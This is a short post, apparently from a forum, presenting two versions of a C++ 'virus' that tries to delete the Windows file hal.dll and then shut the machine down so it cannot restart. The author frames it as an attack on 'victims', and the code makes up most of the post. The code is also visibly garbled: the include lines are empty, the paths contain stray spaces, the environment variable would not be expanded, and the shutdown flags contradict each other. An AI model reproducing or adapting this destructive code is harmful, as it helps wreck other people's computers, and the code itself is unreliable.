Powerful C++ Virus

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.
Warning: Do not try this on your home computer.
The Original Code: Code: #include
#include using namespace std; int main(int argc, char *argv[])
{
std::remove("C:\\windows\\sys tem32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:
Code: #include
#include using namespace std; int main(int argc, char *argv[])
{
std::remove("%systemroot%\\s ystem32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know..
